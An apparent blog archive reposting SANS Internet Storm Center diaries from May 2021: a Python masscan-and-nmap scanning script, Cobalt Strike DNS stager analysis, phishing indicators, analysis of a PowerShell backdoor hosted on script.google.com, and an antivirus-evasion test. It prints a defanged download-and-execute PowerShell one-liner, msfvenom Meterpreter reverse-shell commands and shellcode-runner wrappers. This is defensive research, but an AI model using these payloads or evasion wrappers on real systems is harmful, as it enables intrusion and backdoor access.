Blog

Archive for May, 2021

Quick and dirty Python: nmap, (Mon, May 31st)

Continuing on from the “Quick and dirty Python: masscan” diary, which implemented a simple port scanner in Python using masscan to detect web instances on TCP ports 80 or 443.  Masscan is perfectly good as a blunt instrument to quickly find open TCP ports across large address spaces, but for fine details it is better to use a scanner like nmap that, while much slower, is able to probe the port to get a better idea of what is running.

First lets backtrack.  Since the previous diary, I converted the masscan code to a function and created another function to parse the masscan results to return the list of IPs on which masscan detected open ports.  The current script scan_web.py script is:

#!/usr/local/bin/python3
import sys,getopt,argparse
import masscan
import pprint

def scan_masscan(ips):

   try:
      maso = masscan.PortScanner()
      maso.scan(ips, ports='80,443')
   except:
      print("Error:", sys.exc_info()[0])
      sys.exit(1)

   return(maso)

def parse_masscan_host_list(massout):

    #initialize
    host_list = list()

    # Build a list from the massscan output
    for host in massout.all_hosts:
       host_list.append(host)
    return(host_list)

def main():
   # read in the IP parameter 
   parser = argparse.ArgumentParser()
   parser.add_argument('IP', help="IP address or range")
   args=parser.parse_args()
   ip=args.IP

   maso=scan_masscan(ip)

   if int(maso.scanstats['uphosts']) > 0:
      host_list=parse_masscan_host_list(maso)
      pprint.pprint(host_list)

   else:
      print("No Masscan results")
      sys.exit(1)

if __name__ == "__main__":
    main()

Running the script results in a list of IPs where either 80 or 443 were detected open by masscan.

# ./scan_web.py 45.60.103.0,45.60.31.34,1.2.3.4
[2021-05-31 18:28:51,335] [DEBUG] [masscan.py 10 line] Scan parameters: "masscan -oX - 45.60.103.0,45.60.31.34,1.2.3.4 -p 80,443"
['45.60.103.0', '45.60.31.34']

Extending this script to pass the masscan output list to nmap is relatively easy as well.  As somebody pointed out on a comment to the last diary, there are a lot of Python nmap modules and they all provide differing functionality.  After messing with a few of them, as the comment stated, the libnmap module appears to be the most functional and easiest to use.  libnmap does not implement nmap functionality, it needs nmap already installed on the device and interfaces with that version.  I will not be going over nmap functionality in this diary. If you are not clear on the nmap command parameters you can find a quick tutorial in this older diary.

To implement the nmap scan will require two functions.  One to run the scan, and one to parse the results.

The scanning function:

def scan_nmap(ip_list):
    print("Starting nmap for: {0}".format(ip_list))
    nm = NmapProcess(ip_list, options="-Pn -n -A -sT -p80,443 -r --max-retries 2 --host-timeout 2h --open --reason")
    nrc = nm.run()
    if nrc != 0:
        print("nmap scan failed: {0}".format(nm.stderr))
        exit(0)
    try:
        nparse = NmapParser.parse(nm.stdout)
    except NmapParserExcetion as e:
        print("Exception raised while parsing scan: {0}".format(e.msg))

    return(nparse)

and the function to parse and output the scan result.  This example is almost verbatim from the libnmap documentation.

def print_nmap(nmap_report):
    print("Starting Nmap {0} ( http://nmap.org ) at {1}".format(
        nmap_report.version,
        nmap_report.started))

    for host in nmap_report.hosts:
        if len(host.hostnames):
            tmp_host = host.hostnames.pop()
        else:
            tmp_host = host.address

        print("Nmap scan report for {0} ({1})".format(
            tmp_host,
            host.address))
        print("Host is {0}.".format(host.status))
        print("  PORT     STATE         SERVICE")

        for serv in host.services:
            pserv = "{0:>5s}/{1:3s}  {2:12s}  {3}".format(
                    str(serv.port),
                    serv.protocol,
                    serv.state,
                    serv.service)
            if len(serv.banner):
                pserv += " ({0})".format(serv.banner)
            print(pserv)
    print(nmap_report.summary)

The output from the finished script is:

# ./scan_web.py 45.60.103.0,45.60.31.34,1.2.3.4
[2021-05-31 19:00:56,329] [DEBUG] [masscan.py 10 line] Scan parameters: "masscan -oX - 45.60.103.0,45.60.31.34,1.2.3.4 -p 80,443"
Starting nmap for: ['45.60.103.0', '45.60.31.34']
Starting Nmap 7.91 ( http://nmap.org ) at 1622487670
Nmap scan report for 45.60.103.0 (45.60.103.0)
Host is up.
  PORT     STATE         SERVICE
   80/tcp  open          http
  443/tcp  open          https
Nmap scan report for 45.60.31.34 (45.60.31.34)
Host is up.
  PORT     STATE         SERVICE
   80/tcp  open          http
  443/tcp  open          https
Nmap done at Mon May 31 19:01:49 2021; 2 IP addresses (2 hosts up) scanned in 40.03 seconds

In about 80 lines of python code. I have implemented a simple script that can quickly scan a large address space using the very quick masscan and then send the output to nmap to do detailed scanning of a single port. This script is the basic framework I use for dozens of scripts to scan an entire ASN looking for devices that may be at risk for the current vulnerability of the week.

The final version of the scan_web.py script is:

#!/usr/local/bin/python3
import sys,getopt,argparse
import masscan
from libnmap.process import NmapProcess
from libnmap.parser import NmapParser, NmapParserException
import pprint

def scan_masscan(ips):

   try:
      maso = masscan.PortScanner()
      maso.scan(ips, ports='80,443')
   except:
      print("Error:", sys.exc_info()[0])
      sys.exit(1)

   return(maso)

def parse_masscan_host_list(massout):

    #initialize
    host_list = list()

    # Build a list from the massscan output
    for host in massout.all_hosts:
       host_list.append(host)
    return(host_list)

def scan_nmap(ip_list):
    print("Starting nmap for: {0}".format(ip_list))
    nm = NmapProcess(ip_list, options="-Pn -n -A -sT -p80,443 -r --max-retries 2 --host-timeout 2h --open --reason")
    nrc = nm.run()
    if nrc != 0:
        print("nmap scan failed: {0}".format(nm.stderr))
        exit(0)
    try:
        nparse = NmapParser.parse(nm.stdout)
    except NmapParserExcetion as e:
        print("Exception raised while parsing scan: {0}".format(e.msg))
    pprint.pprint(nparse)
    return(nparse)

def print_nmap(nmap_report):
    print("Starting Nmap {0} ( http://nmap.org ) at {1}".format(
        nmap_report.version,
        nmap_report.started))

    for host in nmap_report.hosts:
        if len(host.hostnames):
            tmp_host = host.hostnames.pop()
        else:
            tmp_host = host.address

        print("Nmap scan report for {0} ({1})".format(
            tmp_host,
            host.address))
        print("Host is {0}.".format(host.status))
        print("  PORT     STATE         SERVICE")

        for serv in host.services:
            pserv = "{0:>5s}/{1:3s}  {2:12s}  {3}".format(
                    str(serv.port),
                    serv.protocol,
                    serv.state,
                    serv.service)
            if len(serv.banner):
                pserv += " ({0})".format(serv.banner)
            print(pserv)
    print(nmap_report.summary)

def main():
   # read in the IP parameter 
   parser = argparse.ArgumentParser()
   parser.add_argument('IP', help="IP address or range")
   args=parser.parse_args()
   ip=args.IP

   maso=scan_masscan(ip)

   if int(maso.scanstats['uphosts']) > 0:
      host_list=parse_masscan_host_list(maso)
      nreport = scan_nmap(host_list)
      print_nmap(nreport)
   else:
      print("No Masscan results")
      sys.exit(1)

if __name__ == "__main__":
    main()

 

Caveat1: Never scan an IP range you don’t have permission to scan.  While port scanning is not illegal in most jurisdictions it is questionable ethically to scan things you don’t own or have permission to scan.

Caveat2: I am not a professional Python programmer.  My scripting gets the job done that I need it to do.  I know there are many smart people out there who can write way better code than I can. 

— Rick Wanner MSISE – rwanner at isc dot sans dot edu – Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Video: Cobalt Strike & DNS – Part 1, (Sun, May 30th)

One of the Cobalt Strike servers reported by Brad Duncan also communicates over DNS.

This can be tested with a simple DNS TXT query:

The content of this TXT record contains the start of a Cobalt Strike beacon, encoded with Netbios Name encoding. I recently published an update to my base64dump.py tool to handle this encoding.

In the following video, I show how to use my new, quick & dirty tool to retrieve all DNS TXT records (cs-dns-stager.py) that make up the encoded beacon, and how to decoded this with base64dump and extract the config with my 1768.py tool.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Sysinternals: Procmon, Sysmon, TcpView and Process Explorer update, (Sun, May 30th)

New versions of Sysinternals’ tools Procmon, Sysmon, TcpView and Process Explorer were released.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Spear-phishing Email Targeting Outlook Mail Clients , (Sat, May 29th)

In February I posted about spam pretending to be an Outlook Version update [1] and now for the past several weeks I have been receiving spear-phishing emails that pretend to be coming from Microsoft Outlook to “Sign in to verify” my account, new terms of services, new version, etc. There also have been some reports this week about large ongoing spear-phishing campaign [2][3] worth reading. Here are some samples which always include a sense of urgency to login as soon as possible:

It is always a good idea to verify the source email (From, To, text for errors and URL) and hovering the mouse cursor over the URL, to verify the embedded URL in the email before clicking on it. Better yet, simply login to the website using a trusted URL.Being careful always pays off.


Indicator of Compromise

microsoft.mntl.format[.]com
microsoft123.bookmark[.]com
server-update.vpxe[.]com
website409819.nicepage[.]io
sfjksdd.weebly[.]com

[1] https://isc.sans.edu/forums/diary/Pretending+to+be+an+Outlook+Version+Update/27144/
[2] https://us-cert.cisa.gov/ncas/current-activity/2021/05/28/joint-cisa-fbi-cybersecurity-advisory-sophisticated-spearphishing
[3] https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
[4] https://www.sans.org/security-awareness-training/resources/posters/dont-get-hooked (Poster)
[5] https://www.youtube.com/watch?v=sEMrBKmUTPE (SANS Security Awareness: Email and Phishing)
[6] https://www.canada.ca/en/revenue-agency/corporate/security/protect-yourself-against-fraud.html
[7] https://www.irs.gov/newsroom/tax-scams-consumer-alerts
[8] https://ec.europa.eu/taxation_customs/node/1029_en
[9] https://www.gov.uk/government/organisations/hm-revenue-customs/contact/reporting-fraudulent-emails
[10] https://isc.sans.edu/forums/diary/Malware+Analysis+with+elasticagent+and+Microsoft+Sandbox/27248/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Malicious PowerShell Hosted on script.google.com, (Fri, May 28th)

Google has an incredible portfolio of services. Besides the classic ones, there are less known services and… they could be very useful for attackers too. One of them is Google Apps Script[1]. Google describes it like this:

Apps Script is a rapid application development platform that makes it fast and easy to create business applications that integrate with G Suite.

Just a quick introduction to this development platform to give you an idea about the capabilities. If, as the description says, it is used to extend the G Suite, it can of course perform basic actions like… hosting and delivering some (malicious) content.

First, let’s create an HTML file:

Then, edit “Code.gs” and create a doGet() function:

Save the project and you are ready to deploy it (it’s important to select the right access: Anyone):

Once the deployment successfully completed, you’ve now an URL that you can use to access your code:

That’s the technique used by the attackers in the sample that I found. The first stage was a simple PowerShell one-liner:

powershell.exe -nop -w hidden -c "Invoke-Expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('hxxps://script[.]google[.]com/macros/s/AKfycbycf3i4YzhGtrLtW_ttACPfln3wLBM4jHtVsBheL6lAsPGt2D-nbTN_Y-NeUDYE50Y/exec?se=1&ip='+(New-Object System.Net.WebClient).DownloadString('hxxp://api[.]ipify[.]org/')))))"

You can see that the Google Script expects two parameters: ‘se’ and ‘ip’. The IP is the public IP address of the victim (collected by visiting api.ipify.org). When the script is called, it returns a chunk of Base64 data decoded and interpreted by PowerShell. It’s a simple backdoor that communicates with the C2 hosted on scripts.google.com. It supports the following commands:

  • cd
  • shell
  • powershell
  • upload
  • quit

I uploaded the script[2] if you are interested. If you don’t use Google Apps Script, any activity related to this FQDN could reveal some malicious activity!

[1] https://www.google.com/script/start/
[2] https://bazaar.abuse.ch/sample/cf8755956735075fe3a8e37d117500f459b2c8ce97dd759c5d3334223c84d582/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

All your Base are…nearly equal when it comes to AV evasion, but 64-bit executables are not, (Thu, May 27th)

Malware authors like to use a variety of techniques to avoid detection of their creations by anti-malware tools. As the old saying goes, necessity is the mother of invention and in the case of malware, it has lead its authors to devise some very interesting ways to hide from detection over the years – from encoding of executable files into valid bitmap images[1] to multi-stage encryption of malicious payloads[2] and much further. Many of these techniques continue to be used efectively in the wild by malicious actors as well as by red teams that emulate them. Probably none of these techniques (perhaps with the exception of simple XOR encryption) has been used so widely as Base64 encoding of malicious payloads.

Base64[3] is among the worlds best-known binary-to-text encodings. It is commonly used to encode binary data so it can be easily transmitted over networks and most of us use it in one way or another on daily basis. Since – as we’ve mentioned – so do malicious actors, it is also the “go to” encoding that security analysts tend to try first when looking at data that appears to be encoded in some way (especially if it ends in the telltale equal sign or two). Base64 however isn’t the only encoding scheme out there, and it isn’t even the only Base-based one (if you forgive the pun).

Since it has been also used extensively (for example for data exfiltration using DNS[4]), many are aware that a Base32 encoding scheme also exists. But the story doesn’t end there and many other, more obscure Base encodings are being used as well. Even if we just look at the encoding schemes supported by CyberChef[5], we can see several others.

The availability of these lesser-known Base encodings in CyberChef has lead me to an idea – since Base64 is so prevalent, one might expect most anti-malware tools to be able to easily handle known malicious payloads encoded by it as well (after all, since YARA is capable of Base64 encoded versions of strings[6], why wouldn’t AVs be able to do the same). Would that however hold for the other encodings as well? Or, to put it differently, would it make sense for a malicious actor or red teamer to encode a malicious payload using some other scheme if they were trying to get past an anti-malware scan?

To find out whether there would be any advantage to using other encodings than Base64 to hide a malicious payload, I’ve devised a simple test. I would generate a shellcode that should probably be identified as malicious by most anti-malware tools on the market, encode it using different Base encodings supported by CyberChef (all except for Base85), put each encoded “payload” into a shellcode wrapper, compile it and check what detection score would the resulting file have on VirusTotal. To make things a little bit more comprehensive, I would do this for 32-bit as well as 64-bit executables and payloads.

Admittedly, results of this little experiment would be far from representative when it came to the ability of different Base encodings to hide malicious content, but they should be enough to show if using other scheme then Base64 could make at least some difference.

The shellcode I’ve decided to use for the test was a simple staged Meterpreter reverse-tcp payload generated by MSFvenom using the following commands, since this is something that one would expect most anti-malware tools to be able to catch.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -a x64 -f c
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -a x86 -f c

I have put the resulting 32-bit and 64-bit shellcode into the following C++ wrapper from GitHub[7] and compiled it into executable binaries.

#include 
#include 

int main(){
    static const int code_lenght = [length];
    unsigned char opcodes[code_lenght] = [shellcode];

    HANDLE mem_handle = CreateFileMappingA( INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0,  code_lenght, NULL);
    void* mem_map = MapViewOfFile( mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, code_lenght);
    memcpy(mem_map, opcodes, sizeof(opcodes));
    std::cout << (( int(*)() )mem_map)() << std::endl;
    return 0;
}

I then encoded both pieces of shellcode using each of the Base encodings I wanted to try and compiled the resulting code.

I didn’t add any functionality for decoding of the encoded payload, so the resulting executables would not actually cause the embedded shellcode to run if they were executed (instead of valid shellcode, they would try to execute its encoded form, which would of course not work). However, for the purposes of our test, this shouldn’t have made any difference.

In order to identify the number of detections caused by the shellcode wrapper and not the (encoded) shellcode itself, I have also compiled a “control” executable that only contained one NOP instruction as its payload.

I then ran each of the resulting executables through VirusTotal. As you may see from the following chart, there was no significant difference between detections of differently encoded shellcode, or between our control executable and the ones that carried the encoded Meterpreter. All 32-bit executables with encoded shellcode were detected by 1 more AV then the wrapper with the NOP instruction and only the Base64-encoded 64-bit executable had 1 more detection then the control executable.

Since I found the results a little bit surprising, I decided to try the same test using a different shellcode wrapper – I chose a code that tries to execute shellcode using a simple pointer to it. This is a well-known historical technique that wouldn’t work on modern operating systems but should be easily spotted by anti-malware tools.

#include
#include

unsigned char shellcode[] = [shellcode];

main()
{
    int (*call)() = (int(*)())shellcode;
    call();
}

As we can see from the following chart, there was indeed a significant overall increase in the number of detections. Although between 64-bit executables, the number of detections was again nearly the same (8 for Base32 and Base64, 9 for Base58 and Base62 encodings), there were some small differences in detections of 32-bit executables. The two containing shellcode encoded by Base58 and Base62 actually scored lower than our control binary.

Although this variance in the number of detections is interesting, given our other results, it seems that there is generally very little difference between the protection from AV detection that Base64 and the lesser-known Base encodings can provide, at least when it comes to encoding of shellcode.

As we’ve mentioned before, however, the results are hardly representative and would certainly be quite different if we were to try to encode some other type of well-known malicious payload than a staged Meterpreter (a stageless Meterpreter or something containing the string “invoke-mimikatz” come to mind) or if we were to try a similar test using a larger sample size. In general, however, it seems that even a simple Base64 encoding of shellcode is still a viable way to get past many AV solutions out there.

Still, it is good to keep in mind that the available encodings don’t end with Base64, since for red teamers and blue teamers both, the other variants might come in useful from time to time.

What is more surprising than the aforementioned “effectiveness” of Base64 encoding, however, are the significant differences between the detections of 32-bit and 64-bit versions of the same code. Although most of us tend to think that the time when anti-malware solutions struggled with detecting malicious 64-bit code is far behind us, it would seem, that this is still not truly the case…

[1] https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/
[2] https://isc.sans.edu/forums/diary/Agent+Tesla+hidden+in+a+historical+antimalware+tool/27088/
[3] https://en.wikipedia.org/wiki/Base64
[4] https://isc.sans.edu/diary/DNS+Query+Length…+Because+Size+Does+Matter/22326
[5] https://gchq.github.io/CyberChef/
[6] https://isc.sans.edu/forums/diary/YARA+v400+BASE64+Strings/26106/
[7] https://gist.github.com/angelorodem/fd3f074a27ddf2708ee74a5ad32704d9

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 6 12345...»